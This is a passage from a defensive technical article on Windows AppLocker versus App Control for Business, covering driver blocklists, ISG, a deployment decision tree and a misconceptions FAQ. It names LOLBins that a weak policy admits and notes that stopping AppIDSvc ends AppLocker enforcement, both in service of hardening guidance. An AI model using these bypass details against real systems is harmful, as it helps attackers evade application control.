&lt;p&gt;&lt;strong&gt;2. Signed-but-vulnerable drivers (BYOVD).&lt;/strong&gt; WHQL-signed drivers with kernel-mode vulnerabilities remain App Control&apos;s hardest residual class. Microsoft layers three distinct mitigations against this class, each at a different point in the load path. &lt;strong&gt;Load-time:&lt;/strong&gt; the &lt;em&gt;Vulnerable Driver Blocklist&lt;/em&gt; [@ms-driver-block-rules] is a policy fragment enforced by &lt;code&gt;ci.dll&lt;/code&gt; at every driver-load callback; the page itself admits the constraint plainly with &lt;em&gt;&quot;the vulnerable driver blocklist isn&apos;t guaranteed to block every driver found to have vulnerabilities.&quot;&lt;/em&gt; &lt;strong&gt;Write-time:&lt;/strong&gt; the Defender for Endpoint &lt;em&gt;&lt;a href=&quot;https://paragmali.com/blog/attack-surface-reduction-rules-the-quiet-layer-that-stopped-/&quot; rel=&quot;noopener&quot;&gt;Attack Surface Reduction&lt;/a&gt;&lt;/em&gt; rule &lt;em&gt;&quot;Block abuse of exploited vulnerable signed drivers&quot;&lt;/em&gt; [@ms-asr-rules-reference] intercepts an attempt to &lt;em&gt;write&lt;/em&gt; a known-bad signed driver to disk, blocking the deployment step rather than the load step. &lt;strong&gt;Post-load:&lt;/strong&gt; HVCI (memory integrity) [@ms-hvci] [@ms-support-memory-integrity] running in VTL1 ensures that a driver that does load -- whether through a gap in the blocklist or because the device is not enrolled in ASR -- cannot grant attacker-controlled code write access to kernel memory or unsigned execution capability. The three layers compose: ASR is the perimeter, the blocklist is the gate, HVCI is the post-load containment.&lt;/p&gt;

flowchart TD
    Attacker[&quot;Attacker with admin&lt;br /&gt;brings vulnerable signed driver&quot;]
    L1[&quot;Write-time ASR rule&lt;br /&gt;Block abuse of exploited&lt;br /&gt;vulnerable signed drivers&quot;]
    L2[&quot;Load-time Vulnerable&lt;br /&gt;Driver Blocklist&lt;br /&gt;(ci.dll, kernel)&quot;]
    L3[&quot;Post-load HVCI&lt;br /&gt;(VTL1, secure kernel)&quot;]
    Bypass[&quot;Residual: driver not on&lt;br /&gt;blocklist + ASR disabled&lt;br /&gt;+ HVCI off or vulnerability&lt;br /&gt;HVCI does not contain&quot;]
    Attacker --&amp;gt; L1
    L1 -- if not blocked --&amp;gt; L2
    L2 -- if not blocked --&amp;gt; L3
    L3 -- if not contained --&amp;gt; Bypass
&lt;p&gt;The Microsoft-recommended driver blocklist is published in two physical forms. The version baked into Windows ships through monthly Windows Update servicing. A separately downloadable XML at &lt;code&gt;aka.ms/VulnerableDriverBlockList&lt;/code&gt; is updated on its own cadence and is usually more complete than the version in-box on a given Patch Tuesday. The companion Driver Signing article in this pipeline covers KMCS, DSE, and the BYOVD class in depth; this section&apos;s BYOVD treatment is intentionally scoped to App Control&apos;s layered-mitigation role.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Cloud-evaluated allow decisions (ISG, SAC).&lt;/strong&gt; The decision authority for &lt;em&gt;&quot;is this binary allowed?&quot;&lt;/em&gt; is moving off-device to Microsoft&apos;s reputation services. Latency, offline-mode behaviour, and policy-transparency consequences are open practitioner concerns. &lt;em&gt;Known good&lt;/em&gt; reputation can lag for newly-signed binaries; &lt;em&gt;unknown&lt;/em&gt; defaults can disrupt legitimate workflows; the verdict itself is opaque to the organisation deploying the policy. The mechanism is documented [@ms-appcontrol-isg]; the operational implications continue to be discovered in production. The regulatory framing is the sharpest published constraint: the Australian Cyber Security Centre&apos;s &lt;em&gt;Implementing application control&lt;/em&gt; page [@acsc-essential-eight-appcontrol] is unambiguous that cloud-reputation-driven decisioning, by itself, &lt;strong&gt;does not qualify&lt;/strong&gt; as application control under the Essential Eight maturity model.&lt;/p&gt;

The ACSC lists &quot;checking the reputation of an application using a cloud-based service before it is executed&quot; among the practices under the heading &quot;What application control is not.&quot; -- Australian Cyber Security Centre, *Implementing application control* [@acsc-essential-eight-appcontrol]
&lt;p&gt;NIST SP 800-167 [@nist-sp-800-167] uses gentler language but arrives at the same operational conclusion: cloud-evaluated reputation is an &lt;em&gt;additive&lt;/em&gt; signal, not an &lt;em&gt;authoritative&lt;/em&gt; one. The practitioner consequence: an App Control policy that relies on ISG for its allow decisions in a regulated cardholder, classified, or critical-infrastructure environment will be flagged by both regimes. ISG and SAC remain useful additive signals; they do not substitute for an explicit allow policy authored and signed on-premises.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. AI-assisted policy generation.&lt;/strong&gt; AaronLocker [@github-aaronlocker] [@github-aaronlocker-script] is the canonical example of a heuristic generator -- it builds &lt;em&gt;&quot;audit&quot;&lt;/em&gt; and &lt;em&gt;&quot;enforce&quot;&lt;/em&gt; rule sets from observed telemetry, with explicit user-writeability pruning via Sysinternals &lt;code&gt;AccessChk&lt;/code&gt; [@ms-accesschk]. ML-assisted variants are an active third-party space. The article is honest about &lt;em&gt;not&lt;/em&gt; inventing specific Microsoft features that do not exist; the &lt;em&gt;&quot;ITL&quot;&lt;/em&gt; fabrication is the failure mode this avoids. The honest 2026 status of generative policy authoring inside Microsoft&apos;s own tooling is that Microsoft has shipped a Security-Copilot-powered &lt;em&gt;Policy Configuration Agent&lt;/em&gt; for Intune, scoped to the &lt;strong&gt;settings catalog&lt;/strong&gt; (device-configuration profiles), with no App-Control-specific surface.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Security-Copilot-powered Policy Configuration Agent in Microsoft Intune [@ms-intune-policy-configuration-agent] [@ms-intune-manage-policy-configuration-agent] assists administrators with &lt;strong&gt;settings catalog&lt;/strong&gt; policies. The agent&apos;s role requirement is the Intune &lt;em&gt;Policy and Profile manager&lt;/em&gt; RBAC role; the surface it operates on is device-configuration profiles, not App Control XML. The Intune Copilot agent overview [@ms-intune-copilot-overview] confirms the inventory of shipped agents and does not include an App-Control-authoring agent. The article does not assert that Microsoft has shipped end-to-end generative App Control policy authoring because, as of June 2026, Microsoft has not. The closest production workflow is the audit-mode-then-merge loop in &lt;code&gt;ConfigCI&lt;/code&gt;, and the closest &lt;em&gt;automatic&lt;/em&gt; allow-listing signal is Intune-Management-Extension-as-managed-installer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;5. Per-user without losing the kernel boundary.&lt;/strong&gt; App Control is whole-device; this is section 11&apos;s reason number one for why AppLocker still ships. No public Microsoft roadmap addresses per-user rules in App Control. Closing this would let App Control fully replace AppLocker in VDI / Citrix / terminal-server scenarios. The kernel evaluator has no per-user-token context by design, and adding it without compromising the boundary&apos;s tamper-resistance is a non-trivial design problem: per-user policy would have to be authored, signed, and refreshed at logon time without admitting an attacker who can forge a token into authoring their own per-user allow rule.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. &lt;code&gt;.bat&lt;/code&gt; / &lt;code&gt;.cmd&lt;/code&gt; script enforcement.&lt;/strong&gt; AppLocker&apos;s Script collection covers them [@ms-applocker-rules]; App Control&apos;s script enforcement is host-cooperative [@ms-appcontrol-script-enforcement] and &lt;code&gt;cmd.exe&lt;/code&gt; is not an enlightened host. This is a documented gap [@ms-appcontrol-feature-availability] that has persisted since launch. Microsoft Learn is unusually direct about what the limitation actually means and what the recommended mitigation is.&lt;/p&gt;

App Control doesn&apos;t directly control code run via the Windows Command Processor (cmd.exe), including .bat/.cmd script files. However, anything that such a batch script tries to run is subject to App Control control. If you don&apos;t need to run cmd.exe, it&apos;s recommended to block it outright or allow it only by exception based on the calling process. -- Microsoft Learn, *Script enforcement with App Control* [@ms-appcontrol-script-enforcement]
&lt;p&gt;The architectural fix would require either &lt;code&gt;cmd.exe&lt;/code&gt; enlightenment (a substantial change to a binary with three decades of behavioural compatibility) or a kernel-side script-execution hook that does not exist today. Until then, the recommended mitigation is the one Microsoft itself names: deny &lt;code&gt;cmd.exe&lt;/code&gt; by default in the App Control policy and allow it by exception based on the calling process, or rely on AppLocker&apos;s Script collection on the same device in parallel for the &lt;code&gt;.bat&lt;/code&gt; / &lt;code&gt;.cmd&lt;/code&gt; workload.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. AppLocker&apos;s end state.&lt;/strong&gt; It is not deprecated [@ms-deprecated-features]; it is not actively developed [@ms-appcontrol-applocker-overview]; it continues to receive security fixes [@ms-kb-5044288]; and Microsoft Learn explicitly recommends the App Control / AppLocker pair as the substitute path for the now-deprecated Microsoft Defender Application Guard for Office [@ms-deprecated-features]. The article should not speculate about a deprecation date Microsoft has not announced. The open question is operational: when, if ever, will the practitioner reasons in section 11 (per-user, no-PKI, GPO ergonomics, installed base, threat-model fit) be obsolete? Until App Control gains per-user rules, the answer is &lt;em&gt;not soon&lt;/em&gt;. The lifecycle-quantification evidence is unambiguous on the direction of travel: the negative citation on the deprecated-features page, the comparative-recommendation positive characterisation in &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt;, the KB5044288 Patch Tuesday servicing fix, and the &lt;em&gt;AppLocker recommended as MDAG-substitution&lt;/em&gt; finding from the deprecated-features page itself all point the same way.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Microsoft-org-hosted &lt;code&gt;WDAC-Toolkit&lt;/code&gt; repository [@github-wdac-toolkit] is the source repo for the App Control Wizard and the most reliable channel for App Control authoring-tool updates. The bohops &lt;code&gt;UltimateWDACBypassList&lt;/code&gt; [@github-ultimatewdacbypass] is the canonical community corpus that feeds the Recommended Block Rules attribution chain. The LOLBAS Project [@lolbas-project] is the cross-platform LOLBin catalogue. For BYOVD, the Microsoft Vulnerable Driver Blocklist page [@ms-driver-block-rules] is the running mitigation index, with the downloadable XML at &lt;code&gt;aka.ms/VulnerableDriverBlockList&lt;/code&gt; as the more-current sibling.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The structural ceiling is real and the research direction is open. Within the bounds that exist today, what should a 2026 practitioner &lt;em&gt;actually do&lt;/em&gt;? That is a decision tree, not an essay.&lt;/p&gt;
&lt;h2&gt;14. The Practitioner Decision Tree -- Picking and Deploying in 2026&lt;/h2&gt;
&lt;p&gt;Five questions, in order. Answer them and you have a deployment plan.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Do you need per-user rules and you do not have a code-signing PKI?&lt;/strong&gt; -&amp;gt; Deploy &lt;strong&gt;AppLocker&lt;/strong&gt;. Use AaronLocker [@github-aaronlocker] [@github-aaronlocker-script] as the deployment-tooling baseline. AaronLocker&apos;s &lt;code&gt;Create-Policies.ps1&lt;/code&gt; runs Sysinternals &lt;code&gt;AccessChk&lt;/code&gt; [@ms-accesschk] against &lt;code&gt;%ProgramFiles%&lt;/code&gt; and &lt;code&gt;%SystemRoot%&lt;/code&gt; to identify user-writable subdirectories and produce a thorough audit policy you tune from telemetry before flipping enforcement on.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Do you need a real security boundary against admin-equivalent attackers?&lt;/strong&gt; -&amp;gt; Deploy &lt;strong&gt;App Control for Business&lt;/strong&gt; with a &lt;strong&gt;signed policy&lt;/strong&gt; (signed by your organisation&apos;s PKI, not by the publisher of any individual application) and &lt;strong&gt;HVCI on&lt;/strong&gt;. Anything less and you do not have the configuration the MSRC servicing criteria treat as a security boundary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Do you have a managed software distribution mechanism (Configuration Manager, Intune, Patch My PC, third-party tooling)?&lt;/strong&gt; -&amp;gt; App Control for Business with &lt;strong&gt;Managed Installer enabled&lt;/strong&gt; [@ms-appcontrol-managed-installer] [@ms-intune-app-control]. Tagging the deployment agent as a managed installer trust-propagates that agent&apos;s installs into the policy without requiring you to enumerate every binary it deploys.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Do you have a long tail of unmanaged user apps you cannot enumerate?&lt;/strong&gt; -&amp;gt; App Control for Business with &lt;strong&gt;ISG enabled&lt;/strong&gt; [@ms-appcontrol-isg]. But never as the &lt;em&gt;only&lt;/em&gt; authorisation path for business-critical apps. ISG is additive, not authoritative.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Consumer or un-managed Windows 11 device?&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Smart App Control&lt;/strong&gt;, if eligible [@ms-smart-app-control] [@ms-support-sac-faq]. Otherwise nothing.&lt;/p&gt;

flowchart TD
    Q1{&quot;Need per-user rules and no PKI?&quot;}
    Q2{&quot;Need admin-resistant boundary?&quot;}
    Q3{&quot;Have managed software distribution?&quot;}
    Q4{&quot;Have long tail of unmanaged apps?&quot;}
    Q5{&quot;Consumer or unmanaged device?&quot;}
    AL[&quot;AppLocker (with AaronLocker)&quot;]
    ACSigned[&quot;App Control for Business&lt;br /&gt;signed policy + HVCI&quot;]
    ACMI[&quot;Add Managed Installer rule&quot;]
    ACISG[&quot;Add ISG signal (additive)&quot;]
    SAC[&quot;Smart App Control&quot;]
    Nothing[&quot;No application control&quot;]
    Q1 -- yes --&amp;gt; AL
    Q1 -- no --&amp;gt; Q2
    Q2 -- yes --&amp;gt; ACSigned
    Q2 -- no --&amp;gt; Q5
    ACSigned --&amp;gt; Q3
    Q3 -- yes --&amp;gt; ACMI
    Q3 -- no --&amp;gt; Q4
    ACMI --&amp;gt; Q4
    Q4 -- yes --&amp;gt; ACISG
    Q4 -- no --&amp;gt; Done[&quot;Deployment complete&quot;]
    ACISG --&amp;gt; Done
    Q5 -- consumer --&amp;gt; SAC
    Q5 -- enterprise unmanaged --&amp;gt; Nothing
&lt;p&gt;&lt;strong&gt;The actual deployment knobs.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Scope&lt;/th&gt;
&lt;th&gt;GPO node&lt;/th&gt;
&lt;th&gt;PowerShell cmdlet inventory&lt;/th&gt;
&lt;th&gt;CSP / MDM path&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;AppLocker&lt;/td&gt;
&lt;td&gt;Computer Configuration -&amp;gt; Windows Settings -&amp;gt; Security Settings -&amp;gt; AppLocker&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Get-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;Set-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;Test-AppLockerPolicy&lt;/code&gt;, &lt;code&gt;New-AppLockerPolicy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;AppLocker CSP (maintenance only) [@ms-applicationcontrol-csp]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App Control for Business&lt;/td&gt;
&lt;td&gt;Computer Configuration -&amp;gt; Administrative Templates -&amp;gt; System -&amp;gt; &lt;strong&gt;Device Guard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;New-CIPolicy&lt;/code&gt;, &lt;code&gt;Merge-CIPolicy&lt;/code&gt;, &lt;code&gt;ConvertFrom-CIPolicy&lt;/code&gt;, &lt;code&gt;Set-CIPolicySetting&lt;/code&gt;, &lt;code&gt;Set-CIPolicyVersion&lt;/code&gt;, &lt;code&gt;Add-SignerRule&lt;/code&gt; (&lt;code&gt;ConfigCI&lt;/code&gt; module)&lt;/td&gt;
&lt;td&gt;ApplicationControl CSP [@ms-applicationcontrol-csp]; Intune endpoint security UX [@ms-intune-app-control]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App Control Wizard&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;Wraps &lt;code&gt;ConfigCI&lt;/code&gt; cmdlets [@ms-appcontrol-wizard]&lt;/td&gt;
&lt;td&gt;n/a (MSIX desktop app)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Server 2025 default policy&lt;/td&gt;
&lt;td&gt;OSConfig PowerShell cmdlets [@techcommunity-osconfig-server-2025]&lt;/td&gt;
&lt;td&gt;OSConfig&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Intune deployment surface is the &lt;strong&gt;&lt;code&gt;ApplicationControl&lt;/code&gt; CSP&lt;/strong&gt; [@ms-applicationcontrol-csp], &lt;em&gt;not&lt;/em&gt; the older &lt;strong&gt;&lt;code&gt;AppLocker&lt;/code&gt; CSP&lt;/strong&gt;. Microsoft is explicit that new App Control feature work lands in &lt;code&gt;ApplicationControl&lt;/code&gt; only. The Intune endpoint-security UX path [@ms-intune-app-control] sits on top of that CSP.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The single most-skipped step in production App Control deployments is the merge of the Microsoft Recommended Block Rules [@ms-appcontrol-bypass] and the Vulnerable Driver Blocklist [@ms-driver-block-rules] into the active policy. Without them, &lt;em&gt;&quot;allow all Microsoft-signed code&quot;&lt;/em&gt; admits &lt;code&gt;cdb.exe&lt;/code&gt;, &lt;code&gt;csi.exe&lt;/code&gt;, &lt;code&gt;dnx.exe&lt;/code&gt;, &lt;code&gt;msbuild.exe&lt;/code&gt;, &lt;code&gt;mshta.exe&lt;/code&gt;, &lt;code&gt;dotnet.exe&lt;/code&gt;, and the rest of the LOLBin catalogue. With them, you have the configuration the MSRC servicing criteria treat as a security boundary. The merge is two &lt;code&gt;Merge-CIPolicy&lt;/code&gt; invocations and a redeploy.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The App Control for Business GPO node is still labelled &lt;em&gt;Device Guard&lt;/em&gt; in &lt;code&gt;gpedit.msc&lt;/code&gt;, even on Windows 11 24H2. Microsoft Learn calls this out explicitly [@ms-appcontrol-applocker-overview]: &lt;em&gt;&quot;The terms &apos;Device Guard&apos; and &apos;configurable code integrity&apos; are no longer used with App Control except when deploying policies through Group Policy.&quot;&lt;/em&gt; The naming confusion is the GPO tree&apos;s, not yours.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;{`
// Pseudocode walk of the App Control authoring path. The real cmdlets
// run in PowerShell on a Windows host with the ConfigCI module installed;
// this is the logic so you can mentally simulate the flow.&lt;/p&gt;
&lt;p&gt;const baseXml = NewCIPolicy({
  scanPath: &apos;C:\\Windows&apos;,
  level: &apos;SignedVersion&apos;,
  fallback: [&apos;Hash&apos;],
  filePath: &apos;BasePolicy.xml&apos;,
});&lt;/p&gt;
&lt;p&gt;const blockRulesXml = downloadAndImport(
  &apos;recommended-block-rules-policy&apos;,
);&lt;/p&gt;
&lt;p&gt;const driverBlockXml = downloadAndImport(
  &apos;vulnerable-driver-blocklist&apos;,
);&lt;/p&gt;
&lt;p&gt;const merged = MergeCIPolicy({
  inputs: [baseXml, blockRulesXml, driverBlockXml],
  output: &apos;Production.xml&apos;,
});&lt;/p&gt;
&lt;p&gt;SetCIPolicySetting({
  provider: &apos;SiPolicy&apos;,
  key: &apos;PolicyInfo&apos;,
  valueName: &apos;Information&apos;,
  value: &apos;Contoso Production Policy v1&apos;,
  policyPath: merged,
});&lt;/p&gt;
&lt;p&gt;const binaryCip = ConvertFromCIPolicy({
  inputXml: merged,
  binaryFilePath: &apos;Production.cip&apos;,
});&lt;/p&gt;
&lt;p&gt;// Sign Production.cip with the organisation&apos;s code-signing certificate
// before dropping it into:
//   %SystemRoot%\\System32\\CodeIntegrity\\CiPolicies\\Active\\
// then reboot to seal the trusted signer set.
console.log(&apos;Production policy authored and ready for signing&apos;);
`}&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Regulatory anchors.&lt;/strong&gt; NIST SP 800-167 [@nist-sp-800-167] on application allowlisting is the federal framing. The ACSC Essential Eight [@acsc-essential-eight-appcontrol] treats application control as one of eight baseline mitigations and is explicit that &lt;em&gt;&quot;the use of file names, package names or any other easily changed application attribute is not considered suitable as a method of application control&quot;&lt;/em&gt; -- a structural exclusion that maps cleanly onto Authenticode-signer and hash rules but rules out an AppLocker policy built primarily on path. PCI DSS v4.0.1 [@pci-document-library] requires comparable controls for cardholder environments. The article does not work through any of them in depth; the citations are here so a practitioner can find their own compliance map.The Wayback-preserved 2017 Device Guard policy deployment guide [@ms-deploy-ci-wayback] is the canonical historical reference for the pre-1709 era, before the WDAC rename. Practitioners maintaining older infrastructure occasionally need it.&lt;/p&gt;

The AppLocker MMC wizard does not create default rules automatically. If you enable enforcement on a collection with zero rules, the collection&apos;s *default behaviour* is to **deny everything that matches the collection**. An enforcing Executable collection with no rules blocks every `.exe` on the device, including the ones Windows needs to boot useful applications. The wizard surface has an *Automatically generate rules* button precisely to avoid this footgun; the AaronLocker authoring path bakes the default rules in from the start. If you have ever seen a Windows session that suddenly cannot launch anything after a GPO refresh, this is the most common cause.
&lt;p&gt;The decision tree is operational. The remaining job is to inoculate against the misconceptions the field has accumulated over twenty-five years. That is the FAQ.&lt;/p&gt;
&lt;h2&gt;15. FAQ -- Misconceptions and Corrections&lt;/h2&gt;
&lt;p&gt;The application-control literature has accumulated eight common misconceptions over twenty-five years. Each one is corrected below with the primary source that settles the question.&lt;/p&gt;

Not in the threat-modelling sense. Microsoft Learn states directly that AppLocker *&quot;helps to prevent end-users from running unapproved software on their computers, but doesn&apos;t meet the servicing criteria for being a security feature&quot;* [@ms-appcontrol-applocker-overview]. AppLocker is operational hygiene against non-admin users running unapproved binaries. An attacker who has reached administrator or `SYSTEM` can stop the `AppIDSvc` service and end enforcement [@ms-applocker-architecture]. If your threat model includes an admin-equivalent attacker, AppLocker is not the right control; App Control for Business with a signed policy and HVCI on is.

No. App Control for Business is the current name for what was called Windows Defender Application Control from 2017 to 2024, which was called Configurable Code Integrity under the Device Guard umbrella from 2015 to 2017. Same kernel CI code path, three brand eras [@ms-appcontrol-applocker-overview] [@ms-blog-introducing-wdac-2017] [@github-wdac-toolkit-issue-411]. The rename in 2024 with Windows 11 24H2 and Server 2025 is brand management; the cmdlets and the policy XML schema are unchanged.

No. You sign the policy with the **deploying organisation&apos;s** code-signing certificate -- typically an internal PKI leaf, with the private key on a hardware token or in a sealed vault [@ms-appcontrol-applocker-overview]. The application publisher&apos;s certificate is what the policy *evaluates against* at image-load time (signer rules in the policy reference publisher subjects). The two are entirely different roles. A common misreading is to assume that *&quot;signed policy&quot;* means *&quot;policy that allows signed apps&quot;* -- it does not. *Signed policy* means the `.cip` file itself carries a signature that prevents a `SYSTEM` attacker from removing or replacing it.

No. ISG is a reputation classifier, not a list. Microsoft Learn states verbatim [@ms-appcontrol-isg]: *&quot;The ISG isn&apos;t a &apos;list&apos; of apps. Rather, it uses the same vast security intelligence and machine learning analytics that power Microsoft Defender SmartScreen and Microsoft Defender Antivirus to help classify applications as having &apos;known good,&apos; &apos;known bad,&apos; or &apos;unknown&apos; reputation.&quot;* When an App Control policy is configured with ISG enabled, ISG&apos;s *known good* verdict acts as an additive allow signal alongside the policy&apos;s explicit signer / hash / path / Managed Installer rules.

**No such feature exists.** A search of Microsoft Learn produces zero results for *ITL* or *Intelligent Trusted List*; URLs cited by AI summaries return 404; and the definitions offered by AI summaries contradict each other. The closest real Microsoft features are the Intelligent Security Graph [@ms-appcontrol-isg], the Microsoft Recommended Block Rules [@ms-appcontrol-bypass], and Smart App Control [@ms-smart-app-control]. If you see *ITL* in a security blog or AI-generated summary, treat it as a fabrication and ignore it.

No. **AaronLocker** is Aaron Margosis&apos;s *deployment tool* [@github-aaronlocker]. It is a PowerShell-based generator that authors thorough audit and enforce policies for AppLocker and App Control. The canonical AppLocker *bypass* catalogue is Oddvar Moe&apos;s `UltimateAppLockerByPassList` [@github-ultimateapplockerbypass]. The canonical App Control bypass catalogue is Jimmy Bayne&apos;s `bohops/UltimateWDACBypassList` [@github-ultimatewdacbypass]. Microsoft&apos;s own bypass list is the *Applications that can bypass App Control* page [@ms-appcontrol-bypass]. Four different artefacts, four different roles.

The enforcement engine is approximately the same (both run inside `ci.dll`), but SAC is a categorically different product: unmanaged, all-or-nothing, ISG-gated, and capable of silently auto-disabling [@ms-smart-app-control]. SAC has no per-app policy authoring surface, no GPO, no Intune integration. Enterprise-managed devices keep SAC off [@ms-support-sac-faq]. And contrary to older blog posts, SAC can be re-enabled without a clean Windows install on current Windows versions: *&quot;Recent Windows updates allow Smart App Control to be re-enabled without requiring a clean installation&quot;* [@ms-support-sac-faq]. The vocabulary is *evaluation mode*, not *audit mode*.

No -- not in any sense Microsoft would recognise. As of February 2, 2026, AppLocker is not on the *Deprecated features in the Windows client* page [@ms-deprecated-features]. Microsoft Learn does say AppLocker *&quot;isn&apos;t getting new feature improvements&quot;* and that it *&quot;doesn&apos;t meet the servicing criteria for being a security feature&quot;* [@ms-appcontrol-applocker-overview], but it also says AppLocker *&quot;continues to receive security fixes&quot;* -- and the October 2024 KB5044288 cumulative update confirms that claim with a concrete AppLocker servicing fix [@ms-kb-5044288]. The defensible characterisation is *feature complete, not actively developed, continues to receive security fixes* -- not *deprecated*.
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;applocker-vs-wdac-two-generations&quot; keyTerms={[
  { term: &quot;AppLocker&quot;, definition: &quot;Windows 7 / Server 2008 R2 era application-control feature; kernel minifilter (AppID.sys) defers verdict to user-mode AppIDSvc; classified as defense-in-depth, not a security feature.&quot; },
  { term: &quot;App Control for Business (WDAC)&quot;, definition: &quot;Kernel CI-policy mechanism in ci.dll; same code path as 2015 Configurable CI and 2017 WDAC; MSRC security feature when signed and HVCI on.&quot; },
  { term: &quot;AppIDSvc&quot;, definition: &quot;User-mode Windows service that evaluates AppLocker rules; stopping it removes AppLocker enforcement.&quot; },
  { term: &quot;ci.dll&quot;, definition: &quot;Windows kernel Code Integrity component; enforces driver signing, KMCS, DSE, and App Control policy as peers.&quot; },
  { term: &quot;Intelligent Security Graph (ISG)&quot;, definition: &quot;Microsoft cloud reputation classifier returning known good / known bad / unknown; ISG-enabled App Control treats known good as an additive allow signal.&quot; },
  { term: &quot;HVCI&quot;, definition: &quot;Hypervisor-protected Code Integrity (memory integrity); runs the ci.dll evaluator in VTL1 so a VTL0 attacker cannot tamper with the verdict.&quot; },
  { term: &quot;Managed Installer&quot;, definition: &quot;App Control trust-propagation feature in which files written by a designated installer process are EA-tagged as trusted; implemented as an AppLocker rule collection.&quot; },
  { term: &quot;Recommended Block Rules&quot;, definition: &quot;Microsoft-curated list of approximately forty signed binaries that can bypass an allow-Microsoft-signed App Control policy; the inverse list that makes App Control coherent.&quot; },
  { term: &quot;LOLBin&quot;, definition: &quot;Living Off The Land Binary; a vendor-signed binary an attacker repurposes to run arbitrary code under a policy that admits the publisher.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Consumer-grade Windows 11 application-control feature; unmanaged, all-or-nothing, ISG-gated; same ci.dll evaluator as App Control for Business.&quot; }
]} flashcards={[
  { front: &quot;What does Microsoft say about AppLocker and the MSRC servicing criteria?&quot;, back: &quot;AppLocker &apos;doesn&apos;t meet the servicing criteria for being a security feature&apos; -- it is operational hygiene, not a security boundary.&quot; },
  { front: &quot;Where does the AppLocker policy decision actually happen?&quot;, back: &quot;In user mode, in the AppIDSvc service. The kernel minifilter AppID.sys defers the verdict to AppIDSvc, which means a SYSTEM attacker can stop the service and end enforcement.&quot; },
  { front: &quot;Who signs an App Control signed policy?&quot;, back: &quot;The deploying organisation -- not the application publisher. The policy&apos;s .cip file is signed by an internal PKI leaf so a SYSTEM attacker cannot replace it.&quot; },
  { front: &quot;What does ISG return?&quot;, back: &quot;A reputation classification: known good, known bad, or unknown. ISG is not a list; it is a cloud classifier processed on a 24-hour cycle.&quot; },
  { front: &quot;Why are the Recommended Block Rules load-bearing?&quot;, back: &quot;Without them, &apos;allow Microsoft-signed code&apos; admits cdb.exe, csi.exe, dnx.exe, msbuild.exe, mshta.exe, dotnet.exe and the rest of the LOLBin catalogue; App Control with vs without them are qualitatively different products.&quot; },
  { front: &quot;What is the structural ceiling of any publisher-gate allowlist?&quot;, back: &quot;The evaluator runs before the binary starts; it knows what the binary IS but not what it will DO. The publisher gate cannot evaluate side effects.&quot; }
]} questions={[
  { q: &quot;Why is AppLocker not deprecated, even though Microsoft Learn says it is not a security feature?&quot;, a: &quot;Because AppLocker&apos;s per-user policy capability has no replacement in App Control for Business, and AppLocker continues to receive security fixes (e.g., KB5044288 in October 2024). It is not on the Windows deprecated-features page as of February 2026.&quot; },
  { q: &quot;Under what specific configuration does App Control for Business meet the MSRC servicing criteria as a security boundary?&quot;, a: &quot;Signed policy, signed by the deploying organisation&apos;s PKI leaf; HVCI enabled so the evaluator runs in VTL1; Microsoft Recommended Block Rules merged into the active policy; Vulnerable Driver Blocklist enabled.&quot; },
  { q: &quot;Why does Microsoft publish a list of its own bypassable signed binaries?&quot;, a: &quot;Because the publisher gate (the allow signal in App Control) cannot evaluate the side effects of a signed binary at policy-evaluation time. Microsoft&apos;s response to the LOLBin research class was institutional -- publish and continuously update the inverse list -- rather than architectural.&quot; },
  { q: &quot;Why do the Mermaid diagrams in section 6 separate the VTL0 normal kernel from the VTL1 secure kernel?&quot;, a: &quot;Because HVCI moves the code-integrity evaluator into VTL1, behind the hypervisor boundary. A kernel-mode attacker confined to VTL0 cannot tamper with the verdict; this is the architectural reason a signed App Control policy + HVCI is the MSRC security-boundary configuration.&quot; },
  { q: &quot;When would a 2026 deployment use AppLocker and App Control for Business on the same device?&quot;, a: &quot;When the device needs per-user policy on some collections (e.g., terminal-server users in different roles) and a real security boundary on others (kernel CI policy with signed policy and HVCI on). The two systems coexist by design; they are non-substitutable.&quot; }
]} /&amp;gt;&lt;/p&gt;
